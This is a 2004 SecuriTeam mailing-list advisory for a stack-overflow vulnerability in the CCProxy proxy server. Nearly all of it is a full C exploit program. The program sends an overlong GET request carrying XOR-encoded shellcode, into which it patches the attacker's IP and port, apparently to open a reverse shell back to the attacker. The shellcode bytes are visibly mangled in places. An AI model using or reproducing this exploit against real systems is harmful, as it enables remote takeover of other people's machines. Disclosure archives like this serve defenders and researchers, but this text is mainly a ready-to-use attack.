

# [EXPL] CCProxy Log Stack Overflow

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0027.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/09/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 9 Nov 2004 18:56:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

CCProxy Log Stack Overflow

---

## SUMMARY

<<http://www.youngzsoft.net/ccproxy/>> Proxy Server CCProxy lets all computers on the LAN access Internet through one single Internet connection.

A security vulnerability in CCProxy allows a remote attacker to cause it to crash and execute arbitrary code by supplying an overly long buffer GET request.

## DETAILS

Exploit:

```
#include <stdio.h>
```

```
#include <windows.h>
```

```
#include <winsock.h>
```

```
#pragma comment(lib, "ws2_32")
```

```
unsigned char EndChar[]={
```

```
"x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A";
```

```
// HTTP/1.0
```

Securiteam: [EXPL] CCProxy Log Stack Overflow

```
unsigned char shellcode[] =  
"xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeeex2xfaxebx05"  
  
"xe8xedxffxff"   
  
/* 254 bytes shellcode, xor with 0xee */  
/* offset 92=IP offset 99=PORT*/  
"x07x36xeexeeexb1x8ax4fxdexeeexeeex65xae2x65"  
  
"x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeeex"  
  
"x0cx17x86xddxdcxexeeex86x99x9dxcxb1xbax11xf8x7b"  
  
"x84xedxb7x06x8xeexeeex0cx17bfbfbfbfbf84xef"  
  
"x84xecx11xb8xfex7dx86x91xeexeeefx86xecxexeeexdb"  
  
"x65x02x84xfexbbxbd11xb8xfax6bx2ex9bxd6x65x12x84"  
  
"xfcxb7x45x0cx13x88x29xaaxcaxd2xfefefx7dx45x45x45"  
  
"x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf"  
  
"xbfbfbf84xfbfbfbfbfbfbf11xb8xeax84x11x11xd9x11"  
  
"xb8xe2x11xb8xf6x11xb8xe6xbfb8x65x9bxd2x65x9axc0"  
  
"x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b"  
  
"xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xae05"  
  
"x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65"  
  
"xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11"  
  
"x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37"  
  
"xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";
```

```
/*  
+-----+  
| |inc edx...inc edx|shellcode|0x7ffa54cd| | |  
+-----+  
+0x42 +shellcode +IPLen( IP )=4065
```

```
:  
mov ecx,0x12811111  
shr ecx,0x14  
sub esp,ecx  
jmp esp
```

## Securiteam: [EXPL] CCProxy Log Stack Overflow

```
1.
2. ecx inc edx
*/

void start(void)
{
printf("CCProxy Log Stack Overflow Exploit!\n");
printf("written by Ruder 11/2004\n");
printf("Bug found by Isno,See xfocus.comn");
printf("Homepage:http://ruder.cdut.netn");
printf("E-mail:cocoruder@163.comn");
}

int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i,tmp;
struct sockaddr_in server,local;
struct hostent *host = NULL;
int IPLen;
int a;
char buff[4096] = {0};
char *IPStr;
u_short tmp1;
char *PORTStr;

start();

if(argc != 5)
{
printf("usage: %s target port backIP backPortn", argv[0]);
exit(1);
}

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!\n");
return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %dn", WSAGetLastError());
return 1;
}

// shellcode ,
tmp=inet_addr(argv[3]);
```

## Securiteam: [EXPL] CCProxy Log Stack Overflow

```
a=(DWORD)&tmp; //
IPStr=(char*)a;

shellcode[92]=IPStr[0]^0xee; //IP
shellcode[93]=IPStr[1]^0xee;
shellcode[94]=IPStr[2]^0xee;
shellcode[95]=IPStr[3]^0xee;

tmp1=htons((u_short)atoi(argv[4]));
a=(DWORD)&tmp1;
PORTStr=(char*)a;

shellcode[99]=PORTStr[0]^0xee; //PORT
shellcode[100]=PORTStr[1]^0xee;

server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %sn", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);
}

//
if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) ==
SOCKET_ERROR)
{
printf("connect() failed: %dn", WSAGetLastError());
return 1;
}

//
a=sizeof(sockaddr_in);

// IP
if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR)
{
printf("getsockname() failed: %dn", WSAGetLastError());
return 1;
}
IPLen=strlen(inet_ntoa(local.sin_addr));

//
buff[0]=0x47;
buff[1]=0x45;
```

## Securiteam: [EXPL] CCProxy Log Stack Overflow

```
buff[2]=0x54;
buff[3]=0x20;
buff[4]=0x2F;

// INC EDX
// 0x42
tmp=4065-sizeof(shellcode)-5-IPLen+1;
for(i=5;i<tmp+5;i++)
{
buff[i]=0x42;
}

CopyMemory(&buff[i],shellcode,sizeof(shellcode));
i=i+sizeof(shellcode)-1;

buff[i]=0xCD;
buff[i+1]=0x54;
buff[i+2]=0xFA;
buff[i+3]=0x7F;

i=i+4;
//
buff[i++]=0xB9;
buff[i++]=0x11;
buff[i++]=0x11;
buff[i++]=0x81;
buff[i++]=0x12;
buff[i++]=0xC1;
buff[i++]=0xE9;
buff[i++]=0x14;
buff[i++]=0x2B;
buff[i++]=0xE1;
buff[i++]=0xFF;
buff[i++]=0xE4;

//
CopyMemory(&buff[i],EndChar,sizeof(EndChar));
i=i+sizeof(EndChar);

ret=send(sClient,buff,i-1,0);

printf("send... buffer ok!good luck!\n");

closesocket(sClient);
WSACleanup();
return 0;
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] CCProxy Log Stack Overflow

The information has been provided by <mailto:cocoruder@163.com> Ruder.

The original article can be found at:

<<http://www.cnhonker.com/index.php?module=articles&act=view&type=3&id=1027>>

<http://www.cnhonker.com/index.php?module=articles&act=view&type=3&id=1027>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.